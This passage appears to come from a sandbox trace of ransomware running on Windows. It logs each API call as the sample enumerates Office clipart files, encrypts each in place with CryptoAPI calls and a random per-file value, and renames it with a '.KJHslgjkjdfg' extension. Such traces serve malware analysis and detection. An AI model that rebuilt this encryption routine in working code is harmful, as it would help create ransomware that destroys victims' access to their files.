lpNewFilePointer=0x0) returned 1 [0192.777] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2130, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2130, lpOverlapped=0x0) returned 1 [0192.777] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0192.777] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2204, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.777] SetEndOfFile (hFile=0x130) returned 1 [0192.780] GetProcessHeap () returned 0x2ef0000 [0192.780] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0192.780] GetProcessHeap () returned 0x2ef0000 [0192.780] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0192.780] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf.kjhslgjkjdfg")) returned 1 [0192.783] CloseHandle (hObject=0x130) returned 1 [0192.783] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1e7c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN04235_.WMF", cAlternateFileName="")) returned 1 [0192.783] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.784] GetProcessHeap () returned 0x2ef0000 [0192.784] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0192.784] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0192.784] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0192.784] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0192.788] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0192.789] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0192.789] GetProcessHeap () returned 0x2ef0000 [0192.789] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0192.789] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0192.789] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0192.789] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0192.789] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0192.789] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0192.789] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0192.789] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0192.789] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0192.789] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0192.789] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0192.789] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.790] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1e7c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1e7c, lpOverlapped=0x0) returned 1 [0192.791] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1e80, dwBufLen=0x1e80 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1e80) returned 1 [0192.791] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.791] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1e80, lpOverlapped=0x0) returned 1 [0192.791] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0192.791] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1f54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.791] SetEndOfFile (hFile=0x130) returned 1 [0192.794] GetProcessHeap () returned 0x2ef0000 [0192.794] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0192.794] GetProcessHeap () returned 0x2ef0000 [0192.794] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0192.794] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf.kjhslgjkjdfg")) returned 1 [0192.797] CloseHandle (hObject=0x130) returned 1 [0192.797] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x513d5e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1e7c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN04267_.WMF", cAlternateFileName="")) returned 1 [0192.798] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.798] GetProcessHeap () returned 0x2ef0000 [0192.798] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0192.798] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0192.798] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0192.798] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0192.800] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0192.800] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0192.800] GetProcessHeap () returned 0x2ef0000 [0192.800] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0192.800] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0192.800] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0192.800] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0192.800] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0192.800] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0192.800] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0192.800] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0192.800] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0192.801] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0192.801] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0192.801] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.801] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1e7c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1e7c, lpOverlapped=0x0) returned 1 [0192.802] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1e80, dwBufLen=0x1e80 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1e80) returned 1 [0192.802] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.802] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1e80, lpOverlapped=0x0) returned 1 [0192.802] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0192.802] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1f54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.802] SetEndOfFile (hFile=0x130) returned 1 [0192.804] GetProcessHeap () returned 0x2ef0000 [0192.804] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0192.804] GetProcessHeap () returned 0x2ef0000 [0192.804] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0192.804] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf.kjhslgjkjdfg")) returned 1 [0192.807] CloseHandle (hObject=0x130) returned 1 [0192.808] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x513d5e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7e0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN04269_.WMF", cAlternateFileName="")) returned 1 [0192.809] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.809] GetProcessHeap () returned 0x2ef0000 [0192.809] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0192.809] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0192.810] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0192.810] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0192.810] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0192.810] GetProcessHeap () returned 0x2ef0000 [0192.810] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0192.810] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0192.810] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0192.810] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0192.812] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0192.812] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0192.812] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0192.813] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0192.813] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0192.813] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0192.813] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0192.813] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.813] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x7e0, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x7e0, lpOverlapped=0x0) returned 1 [0192.813] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7e0, dwBufLen=0x7e0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7e0) returned 1 [0192.813] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.813] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x7e0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x7e0, lpOverlapped=0x0) returned 1 [0192.813] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0192.813] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x8b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.813] SetEndOfFile (hFile=0x130) returned 1 [0192.816] GetProcessHeap () returned 0x2ef0000 [0192.816] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0192.816] GetProcessHeap () returned 0x2ef0000 [0192.816] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0192.816] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf.kjhslgjkjdfg")) returned 1 [0192.818] CloseHandle (hObject=0x130) returned 1 [0192.818] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x9bc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN04323_.WMF", cAlternateFileName="")) returned 1 [0192.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.820] GetProcessHeap () returned 0x2ef0000 [0192.820] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0192.820] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0192.820] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0192.820] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0192.822] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0192.822] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0192.822] GetProcessHeap () returned 0x2ef0000 [0192.822] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0192.822] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0192.822] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0192.822] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0192.823] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0192.823] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0192.823] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0192.823] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0192.823] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0192.823] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0192.823] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0192.823] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.823] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x9bc, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x9bc, lpOverlapped=0x0) returned 1 [0192.823] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x9c0, dwBufLen=0x9c0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x9c0) returned 1 [0192.823] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.823] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x9c0, lpOverlapped=0x0) returned 1 [0192.823] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0192.823] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xa94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.824] SetEndOfFile (hFile=0x130) returned 1 [0192.827] GetProcessHeap () returned 0x2ef0000 [0192.827] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0192.827] GetProcessHeap () returned 0x2ef0000 [0192.827] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0192.827] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft 